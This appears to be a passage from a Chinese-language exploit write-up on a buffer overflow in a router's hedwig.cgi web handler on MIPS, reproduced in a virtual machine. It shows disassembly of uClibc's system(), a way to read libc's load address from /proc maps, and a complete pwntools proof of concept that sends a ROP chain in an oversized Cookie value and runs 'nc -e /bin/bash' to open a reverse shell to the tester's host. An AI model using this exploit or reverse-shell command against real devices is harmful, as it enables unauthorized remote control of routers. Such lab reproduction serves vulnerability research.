确定后,在qemu user mode下运行POC,确实会调用到system
不过:在so库中的system中可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
.text:00053200                 .globl system  # weak
.text:00053200 system: # DATA XREF: LOAD:00003324↑o
.text:00053200 # LOAD:00005084↑o
.text:00053200
.text:00053200 var_38 = -0x38
.text:00053200 var_30 = -0x30
.text:00053200 var_28 = -0x28
.text:00053200 var_1C = -0x1C
.text:00053200 var_18 = -0x18
.text:00053200 var_14 = -0x14
.text:00053200 var_10 = -0x10
.text:00053200 var_C = -0xC
.text:00053200 var_8 = -8
.text:00053200 var_4 = -4
.text:00053200
.text:00053200 la $gp, loc_232E0 # Alternative name is '__libc_system'
.text:00053208 addu $gp, $t9
.text:0005320C addiu $sp, -0x48
.text:00053210 sw $ra, 0x48+var_4($sp)
.text:00053214 sw $s5, 0x48+var_8($sp)
.text:00053218 sw $s4, 0x48+var_C($sp)
.text:0005321C sw $s3, 0x48+var_10($sp)
.text:00053220 sw $s2, 0x48+var_14($sp)
.text:00053224 sw $s1, 0x48+var_18($sp)
.text:00053228 sw $s0, 0x48+var_1C($sp)
.text:0005322C sw $gp, 0x48+var_30($sp)
.text:00053230 move $s5, $a0
.text:00053234 beqz $a0, loc_533C4
.text:00053238 li $v0, 1
.text:0005323C la $s1, signal
.text:00053240 li $a0, 3
.text:00053244 move $t9, $s1
.text:00053248 jalr $t9 ; signal
.text:0005324C li $a1, 1
.text:00053250 li $a0, 2
.text:00053254 li $a1, 1
.text:00053258 move $t9, $s1
.text:0005325C jalr $t9 ; signal
.text:00053260 move $s2, $v0
.text:00053264 li $a0, 0x12
.text:00053268 move $a1, $zero
.text:0005326C move $t9, $s1
.text:00053270 jalr $t9 ; signal
.text:00053274 move $s3, $v0
.text:00053278 lw $gp, 0x48+var_30($sp)
.text:0005327C la $t9, fork
.text:00053280 jalr $t9 ; fork
.text:00053284 move $s4, $v0
.text:00053288 bgez $v0, loc_532CC
.text:0005328C move $s0, $v0
.text:00053290 move $a1, $s2
.text:00053294 move $t9, $s1
.text:00053298 jalr $t9 ; signal
.text:0005329C li $a0, 3
.text:000532A0 move $a1, $s3
.text:000532A4 move $t9, $s1
.text:000532A8 jalr $t9 ; signal
.text:000532AC li $a0, 2
.text:000532B0 move $a1, $s4
.text:000532B4 move $t9, $s1
.text:000532B8 jalr $t9 ; signal
.text:000532BC li $a0, 0x12
.text:000532C0 lw $gp, 0x48+var_30($sp)
.text:000532C4 b loc_533C4
.text:000532C8 li $v0, 0xFFFFFFFF
.text:000532CC # ---------------------------------------------------------------------------
.text:000532CC
.text:000532CC loc_532CC: # CODE XREF: system+88↑j
.text:000532CC bnez $v0, loc_5333C
.text:000532D0 li $a0, 3
.text:000532D4 move $t9, $s1
.text:000532D8 jalr $t9 ; signal
.text:000532DC move $a1, $zero
.text:000532E0 li $a0, 2
.text:000532E4 move $t9, $s1
.text:000532E8 jalr $t9 ; signal
.text:000532EC move $a1, $zero
.text:000532F0 li $a0, 0x12
.text:000532F4 move $t9, $s1
.text:000532F8 jalr $t9 ; signal
.text:000532FC move $a1, $zero
.text:00053300 lw $gp, 0x48+var_30($sp)
.text:00053304 move $a3, $s5
.text:00053308 li $a0, 0x60000
.text:0005330C li $a1, 0x60000
.text:00053310 li $a2, 0x60000
.text:00053314 la $t9, execl
.text:00053318 addiu $a0, (aBinSh - 0x60000) # "/bin/sh"
.text:0005331C addiu $a1, (off_5A450 - 0x60000)
.text:00053320 addiu $a2, (off_5A454 - 0x60000)
.text:00053324 jalr $t9 ; execl
.text:00053328 sw $zero, 0x48+var_38($sp)
.text:0005332C lw $gp, 0x48+var_30($sp)
.text:00053330 la $t9, _exit
.text:00053334 jalr $t9 ; _exit
.text:00053338 li $a0, 0x7F
.text:0005333C
.text:0005333C loc_5333C: # CODE XREF: system:loc_532CC↑j
.text:0005333C move $t9, $s1
.text:00053340 jalr $t9 ; signal
.text:00053344 li $a1, 1
.text:00053348 li $a0, 2
.text:0005334C move $t9, $s1
.text:00053350 jalr $t9 ; signal
.text:00053354 li $a1, 1
.text:00053358 lw $gp, 0x48+var_30($sp)
.text:0005335C move $a0, $s0
.text:00053360 la $t9, wait4
.text:00053364 addiu $a1, $sp, 0x48+var_28
.text:00053368 move $a2, $zero
.text:0005336C jalr $t9 ; wait4
.text:00053370 move $a3, $zero
.text:00053374 move $v1, $v0
.text:00053378 li $v0, 0xFFFFFFFF
.text:0005337C bne $v1, $v0, loc_53388
.text:00053380 lw $gp, 0x48+var_30($sp)
.text:00053384 sw $v1, 0x48+var_28($sp)
.text:00053388
.text:00053388 loc_53388: # CODE XREF: system+17C↑j
.text:00053388 la $s0, signal
.text:0005338C move $a1, $s2
.text:00053390 move $t9, $s0
.text:00053394 jalr $t9 ; signal
.text:00053398 li $a0, 3
.text:0005339C move $a1, $s3
.text:000533A0 move $t9, $s0
.text:000533A4 jalr $t9 ; signal
.text:000533A8 li $a0, 2
.text:000533AC move $a1, $s4
.text:000533B0 move $t9, $s0
.text:000533B4 jalr $t9 ; signal
.text:000533B8 li $a0, 0x12
.text:000533BC lw $gp, 0x48+var_30($sp)
.text:000533C0 lw $v0, 0x48+var_28($sp)
.text:000533C4
.text:000533C4 loc_533C4: # CODE XREF: system+34↑j
.text:000533C4 # system+C4↑j
.text:000533C4 lw $ra, 0x48+var_4($sp)
.text:000533C8 lw $s5, 0x48+var_8($sp)
.text:000533CC lw $s4, 0x48+var_C($sp)
.text:000533D0 lw $s3, 0x48+var_10($sp)
.text:000533D4 lw $s2, 0x48+var_14($sp)
.text:000533D8 lw $s1, 0x48+var_18($sp)
.text:000533DC lw $s0, 0x48+var_1C($sp)
.text:000533E0 jr $ra
.text:000533E4 addiu $sp, 0x48
.text:000533E4 # End of function system

可以看到system以fork形式启动进程,并且当程序为子进程时跳转执行cmd:

1
2
3
4
.text:00053280                 jalr    $t9 ; fork
.text:00053284 move $s4, $v0
.text:00053288 bgez $v0, loc_532CC
loc_532CC->执行cmd

应该是qemu user mode内部原因,只能将程序模拟运行,无法复现这里,所以选择在MIPS虚拟机模拟的Web服务中复现,首先拿到libc.so.0的映射地址,可以选择这种方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
cd /proc/
ls #确定下一个启动的程序的PID
/htdocs/web/hedwig.cgi & cat ./PID/maps #a & b->先执行a再执行b,无论a是否成功
For example:
root@debian-mipsel:/proc# /htdocs/web/hedwig.cgi&cat ./3688/maps
[1] 3688
00400000-0041c000 r-xp 00000000 08:01 228956 /htdocs/cgibin
0042c000-0042d000 rw-p 0001c000 08:01 228956 /htdocs/cgibin
0042d000-0042f000 rwxp 00000000 00:00 0 [heap]
2aaa8000-2aaad000 r-xp 00000000 08:01 547912 /lib/ld-uClibc-0.9.30.1.so
2aaad000-2aaae000 rw-p 00000000 00:00 0
2aabc000-2aabd000 r--p 00004000 08:01 547912 /lib/ld-uClibc-0.9.30.1.so
2aabd000-2aabe000 rw-p 00005000 08:01 547912 /lib/ld-uClibc-0.9.30.1.so
2aabe000-2aae7000 r-xp 00000000 08:01 547913 /lib/libgcc_s.so.1
2aae7000-2aaf7000 ---p 00000000 00:00 0
2aaf7000-2aaf8000 rw-p 00029000 08:01 547913 /lib/libgcc_s.so.1
2aaf8000-2ab56000 r-xp 00000000 08:01 547915 /lib/libuClibc-0.9.30.1.so
2ab56000-2ab65000 ---p 00000000 00:00 0
2ab65000-2ab66000 r--p 0005d000 08:01 547915 /lib/libuClibc-0.9.30.1.so
2ab66000-2ab67000 rw-p 0005e000 08:01 547915 /lib/libuClibc-0.9.30.1.so
2ab67000-2ab6c000 rw-p 00000000 00:00 0
7fd0a000-7fd1f000 rwxp 00000000 00:00 0 [stack]
root@debian-mipsel:/proc# HTTP/1.1 200 OK
Content-Type: text/xml

<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>

可以看到libc.so.0(链接:/lib/libuClibc-0.9.30.1.so)的加载基址为0x2aaf8000(正常路由环境和MIPS虚拟机中为了程序运行速度会取消canary,地址随机化等保护机制)
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import requests
import sys

def get_payload(offset,libc_addr,cmd):
payload="A"*offset #fill
payload+=p32(libc_addr+0x531ff) # $s0
payload+="A"*4 # $s1
payload+="A"*4 # $s2
payload+="A"*4 # $s3
payload+="A"*4 # $s4
payload+=p32(libc_addr+0x159cc) # $s5
payload+="A"*4 # $s6
payload+="A"*4 # $s7
payload+="A"*4 # $gp
payload+=p32(libc_addr+0x158c8) # $ra
payload+="A"*16 #fill
payload+=cmd # shellcode
return payload

if __name__=="__main__":
cmd="nc -e /bin/bash 192.168.160.131 1234" #填入本机IP&&监听端口(其他反弹shell命令总是不成功)
fake_cookie="uid="+get_payload(0x3cd,0x2aaf8000,cmd)
header = {
'Cookie' : fake_cookie,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'uid':'kirin'}
ip_port=sys.argv[1]
url="http://"+ip_port+"/hedwig.cgi"
r=requests.post(url=url,headers=header,data=data)
log.info("Kirin-say PWN")

Run POC&&反弹get shell

MIPS虚拟机下开启路由器Web服务
在另一台虚拟机上:

1
python payload.py  mips_ip:port

Get shell Successfully:
PWNed